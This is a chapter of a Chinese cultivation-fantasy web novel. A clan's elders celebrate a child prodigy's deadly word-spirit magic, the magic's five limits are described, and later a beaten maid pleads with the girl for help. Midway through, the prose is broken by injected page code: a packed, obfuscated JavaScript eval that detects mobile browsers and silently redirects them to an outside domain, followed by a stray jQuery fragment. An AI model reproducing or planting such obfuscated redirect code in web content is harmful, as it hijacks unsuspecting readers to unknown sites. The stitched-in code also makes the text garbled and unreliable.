20. 梵天塔

作品:《只有我是路人吗?

    姜家上一代没有继承言灵之术的弟子,自然也没有长老们承认的家主。所以这一代的事都是由长老们共同商议,现任家主并无实权,只是个在长老们手下听话的傀儡,实力最强的大长老作为幕后之人掌控着整个姜氏宗族。


    姜家没有任何消息能瞒得住长老,这道带着血腥气的消息风一般传到了长老们的耳中。


    年岁最大也最为稳重的大长老听闻此消息,竟失手打碎了茶杯。


    那茶杯无论是外形还是来历,都能称得上是不可多得的灵宝,起码它的价格让坐在议事厅首座的家主露出了极为肉痛的表情。


    可大长老丝毫不在乎。连一向稳重是他都如此做派,更别说其余长老了。


    上一代的姜家弟子在言灵之术上大都天赋平平,这些老家伙哪个没在某日担忧过言灵之术的传承和姜氏一族的未来。


    “……老五,你的预言没有错!”


    大长老喉头微颤,稍稍侧身掩住面容,就算是在场看不见他的表情,也能听清楚他的哽咽之色。


    “——这修真界,就要变天了!”


    也不怪大长老激动万分。姜家是修真界的四大势力之一,底盘雄厚不假,长老个个元婴也不假,大长老更是已突破大乘期坐镇族内,让姜氏在修真界的地位更加稳固。


    可修真界早已过了盛景,天地间灵气逐渐匮乏,如今在小家族内,一名金丹甚至可以担的上家主之名。族内人才青黄不接,就算拜身姜家的弟子众多,不算嗑药提升强行凑数的,金丹笼统而算也不过百人有余,一下便少了将近十分之一,这种事情简直是从未可闻。


    对姜家来说,战力损耗是个坏消息不假,可一想到这些金丹竟折损于一个小娃娃手中,长老们就无比激动。其中以严厉出名的三长老更是老泪纵横,眼中是掩不住的狂热。


    修真界都承认剑修一道是攻击最强的存在,越级挑战犹如吃饭喝水家常便饭,可练气战金丹之说却极为罕见。


    修真界公认的境界有五类,从低到高依次是练气十三层,筑基三级,金丹八段,元婴五阶,大乘九重,再往后就是从未有人到达过的仙人境界。


    境界越往后,实力便是呈数几何倍地提升,甚至战斗经验也愈加熟练。境界上带来的极大差距,是无法靠任何手段简单弥补的。


    就算是一个处在金丹期、毫无攻击手段可言的药修,筑基期的剑修也无法轻易战胜。金丹期仅凭灵力波动,就能轻而易举地压制住普通筑基期的剑修。


    修士们做的一切都是为了讨得天道欢心,妄想触摸天道边缘以追求长生大道。言灵术法却天生就包含了天道的一部分,轻而易举就能把他们数年的修为和昂贵的法宝踩在脚底。


    言灵最可怕的地方,就是能无视一切障碍,在概念上做到绝对实现。哪怕是姜阙这种连练气三层都没达到的婴孩,也能不费一丝心力,瞬间毁掉了十几名金丹修士。


    言灵之术一旦成功便破无可破,可如果血脉中存含的天赋不够而强行修习,每次尝试使用都要以寿命为代价。而要实施的目的阻碍越多,损耗的寿命值和其余代价也就越大。


    可看着姜阙的模样,分明就是天生神脉。以未入道之身徒杀金丹十几,充其量也只是面色发白了一些。听在现场的侍卫讲,那姜阙是等到有医师赶到父亲身边后,才因为体力不支昏睡过去。


    自言灵之术创立以来,姜家一代代人千百年来对言灵之术秘籍进行研究并加以总结,得出五条因果性的限制。


    第一条:血脉纯净度。言灵威力与直系血脉浓度呈正向相关,旁支族人施展高阶咒术时,可能会因为血脉纯度不够导致不可预估的后果。曾经,某分家天才强行咏唱禁咒“碎星”,结果全身血管浮现咒文裂纹,卧床三年后捡回一条命,却再也不能入道修行。


    第二条:灵力储备量。言灵出之即成,但每句言灵消耗的灵力都与在现实世界实现此效果的难易程度和跨越施法距离有关,所以消耗的灵力量也比其他修士格外多。比如喊出“焚山”,在实际上需要一座山燃烧的情况下,若自身灵力不足,差额由寿元抵扣。


    第三条:语言精密度。使用言灵之术时,咒语发音不得有一丝误差,语法上也必须符合姜氏宗族一同传下来《太古音韵谱》。曾有修士把“天雷召来”说成“天螺召来”,导致战场上空砸下巨型海螺,不仅被人耻笑数年,最后还灵力逆行,落了个半身不遂的下场。


    第四条:环境干扰项。言灵之术的强大,是因为包含天道赐福,包含有天道法则。但天地万物皆受天道管辖,难免会影响一些效果。比如若是在暴雨中说“火”,能实现的威力和效果绝对比不上正常天气下说出的效果。


    第五条:悖论禁制线。不可涉及生命死活,不可对已发生的现实进行修改——这条也是言灵之术使用的绝对禁忌。比如想要让人死而复生,喊“昨日未雨”抹去降雨事实,是永远也不会成立的幻想。


    姜家子弟修习的言灵之术,千百年来也不过薄薄一本传世秘籍。可姜阙在没有入道、没有看过秘籍的情况下,便无师自通,只能说明对他人高高在上的言灵术法之于她,不过是寻常手段。


    如今的姜阙一个条件也不满足,却轻而易举就踏破了旁人一辈子也无法触及的领域,把千百年总结的秘籍按在地上摩擦,又怎能怪这些长老皆泪落沾衣呢。


    长老们一直担心,近几百年来,姜家突破元婴期的就都是他们这些老家伙。如今的修真界资源早已不如往常,他们若不能早日突破大乘,后人若不再有惊世天骄,待他们仙逝后,姜家没落也只是时间问题。


    他们有的生于姜家,有的被姜家赐姓,还有的是上个时代留下来的老怪物。无论他们前尘如何,心底又是如何计谋多样,但他们皆忠于姜氏一族。对于如何让姜家在修真界巩固地位再次扬名,可以说殚精竭虑一生。


    所以他们才会孤注一掷,通过预言寻找未来,又在发觉姜阙不能说话的那一瞬跌落深渊。可是现在,柳暗花明又一村,姜阙明显比他们想象的还要强大。


    天佑姜氏,天佑姜氏啊!


    “可是大长老,那姜阙天赋再高也不过是个孩子,且在真言大典举行的三日内,姜家人不可杀生,这是从以前传下来的忌讳……”


    说话的是坐在家主旁边的一位长老,名为姜旭,元婴三阶,专掌家规制定与学堂众事。


    “姜旭。”大长老摇摇头,“在她面前,这些都不重要。”


    他看得明白,若是把对言灵之术的强大的成功率分为十个等级,姜阙天生就是满级。而她要做的,只不过是如何领悟天生的技能,就像苍鹰领悟长啸与飞翔。


    苍鹰长啸飞翔乃是本能。即是本能,又何尝等不到唤醒的那一天!


    姜家已经等了太久了。


    绝不会错,这就是预言中的绝世天才!


    她会给姜家带来新生!


    ~


    姜阙再次受到了众星捧月一般的待遇。比之前更加珍奇的宝贝和难寻的药材堆满了小院,姜父也因为医师的全力救治保住了性命和练气十一层的修为。


    长老们更是在他们的住所旁划了一间宽敞院子,让姜雀单独居住,甚至每日都会亲自交换为她授课。


    没有人去追究那十几个金丹的消失,就像海边的浪花高高昂起,又被下一波更强的浪拍平在岸边。


    可对现在的姜阙来说,母亲首次露出了堪称是惊喜的笑容。


    这对年幼是她来说,是最满意的珍宝。


    “这样看起来,大师姐应该不会产生心魔吧。”许苔看着小姜阙在姜母怀中撒娇的样子,嘴角也不自觉地上扬,“会有什么让她执念极深的事呢?”


    一旁的姜冉也沉思着。少年天才,父母疼爱,长老重视,前途光明。


    好像没有什么是姜阙得不到的,她的人生应该是最顺利的。


    鹤春山倒是有些期待。若是姜阙的心魔执念是上一世曾败于他手,他到是蛮想看许苔会露出什么样的表情。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437133|168298||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    幻境的时间流速会随时改变,不重要的地方尤其快。只不过刹那,他们再看到姜阙时,她已经从一个小娃娃,长成了八九年岁。


    她的情绪也越加内敛。除了姜母之外,没有人能看得出她的喜怒哀乐,像是九重天上的神明,无悲无喜,像是无法被任何人看清。


    “小小姐越来越有大长老的风范了。”


    “还叫小小姐呢,姜阙大人肯定是姜家下一任的家主,现在应该叫小少主才对。”


    姜家的仆役闲暇时在阳光下沐浴着聊天。姜阙一向不怎么出门,每次出院子要么就是长老的意思,要么就是去找姜母。在这个阶级固化的姜氏一族,她对下人没那么严苛规矩,伺候的婢子们一般只需要服侍她穿衣与用膳,其余的时间就算是在院子里打闹也没人训斥她们。


    一位穿桃红外衫的小丫头盘腿坐在院子内的树影中,突然压低了声音。


    “不过,每次见到小少主时,我都看不出她的情绪,稍微让人有些沮丧……”


    “你说什么呢!”一道清甜的嗓音干脆利落地打断她。一直在近前伺候姜阙穿衣是小莘把脸子一甩,随后语气中是快要溢出来的崇拜。


    “姜阙少主是预言中的神女,是强大的神明转世。既然是神明,我等凡人怎么能揣测她的想法呢?”


    “有道理……”


    “说的也是。小少主这么厉害,未来肯定能让我们姜家再上一层楼。到时候,什么药王谷,什么极清宗,还有那个岳女一族,都不是我们小少主的对手!”


    “没错没错!小少主最厉害了!”


    树下的女孩们吵吵闹闹,像是夏日里的鸟儿叽叽喳喳。屋内的姜阙在镜子前端坐着,背挺得笔直,嘴角却上扬着,脸颊处因为羞腼飞上了红云。


    她像是突然回过神来,严肃又正式地轻拍脸颊,恢复到了平日里面无表情的模样。只有脸颊两边还未彻底散去的红云,诉说着女孩心底被人夸奖的喜悦。


    这种喜悦让她晚间格外关注了一下周围的人,过于直白的视线却让另一位贴身侍奉的小芜在抬手服侍时僵硬住了。


    她自知失礼,在姜阙疑惑中又带点探究的目光下行了个再标准不过的礼,在服侍完姜阙褪下外衣后,脚步稍快地退出房间。


    小芜的速度比以往快了三秒钟。


    姜阙默默数着时间。在每位侍女几乎都被培育成一个行为模式的姜家,这样几乎是落荒而逃的速度。


    她最近遇到了什么事吗?


    这个念头只是在姜阙脑海中闪了一下,过两天就被她抛之脑后。


    而当她再次注意到小芜时,是在立秋的前夕。


    小莘被她寻了个理由支出去,在姜阙还没反应过来的一瞬间,小芜双膝并拢,直愣愣地跪在地上。


    白色的宽大袖口中漏出一节手腕来,纤细的仿佛一折就断。右边的袖口被刻意挽起,露出上臂未消的鞭痕。


    姜阙突然想起了,她听院外侍女们落家常时,谈到小芜的长相。小芜的长相很温柔,眼睛是小鹿眼,嘴角又常常浅弯着,像是在误入江南水乡的一只小鹿。


    而被姜阙真正记住的一句话是,小芜笑起来,跟她有些相像。


    姜阙后知后觉,在她面前一直会浅浅微笑的小芜,好像许久都不曾绽开笑颜。她的身形好像越发纤瘦,甚至瘦到给人一种病态的颓感。


    那道鞭痕印在她的上臂,像是条毒蛇紧紧缠绕住了她。


    “奴婢求小小姐,救救奴婢!”


    她身形止不住地颤。


    “奴婢知道自己身份低微,贸然打扰小小姐已是大罪。可奴婢真的无法忍受下去……请小小姐出手救我一命!”


    阿芜实在是太瘦弱了。当她整个人跪着、捂着脸把自己蜷缩在地上的时候,就像只无处可逃的鹌鹑,颤抖的削肩更是犹如蝶翼,显得脆弱又美丽。


    “好。”


    阿芜听见了姜阙的回应。


    无悲无喜,犹如神女。